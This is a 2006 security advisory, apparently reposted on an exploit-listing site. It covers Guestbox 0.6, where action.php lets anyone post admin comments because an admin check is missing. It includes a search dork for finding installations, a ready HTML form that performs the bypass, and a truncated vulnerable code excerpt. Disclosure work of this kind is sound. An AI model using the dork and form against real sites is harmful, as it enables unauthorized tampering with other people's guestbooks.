Advertisement
| CVE | Category | Price | Severity |
|---|---|---|---|
| CWE-79 | Not specified | High |
| Author | Risk | Exploitation Type | Date |
|---|---|---|---|
| Not specified | High | Remote | 2006-02-25 |
author.:l0om - www.excluded.org
product:guestbox (latest non-BETA) 0.6
page:http://spring.realone.ch
dork:"Login - Guestbox 0.6" inurl:guestbox.php
someone asked me to check the guestbook named "guestbox" and thats
the advisory based on my checks.
1.0 everyone can set admin comments to all entries
--------------------------------------------------
in case of setting an admin comment to some gb entry you normaly have
to log in as admin. as you can see in the sources down you dont need
to be logged in as admin to set an admin comment because the programmer
missed it to check the "$admin" value at this point of the switch case.
simply create the following html document and post comments as admin:
<html>
<body>
<center>
<form method="post" action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY
_NUMBER">
<textarea class="auswahl" name="text" cols="30" rows="3"></textarea><br>
<input type="submit" name="submit" value="comment">
</form>
</center>
</body>
</html>
---8<--- source:action.php ---8<---
[...]
INCLUDE "gb_config.php";
INCLUDE "gb_functions.php";
switch ($_GET['action'])
{
case "comment" :
if (isset($_POST['submit'])) {
//
//admin check????
//
edit_entry($gbdaten, $_GET['nummer'], trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(
Copyright ©2024 Exploitalert.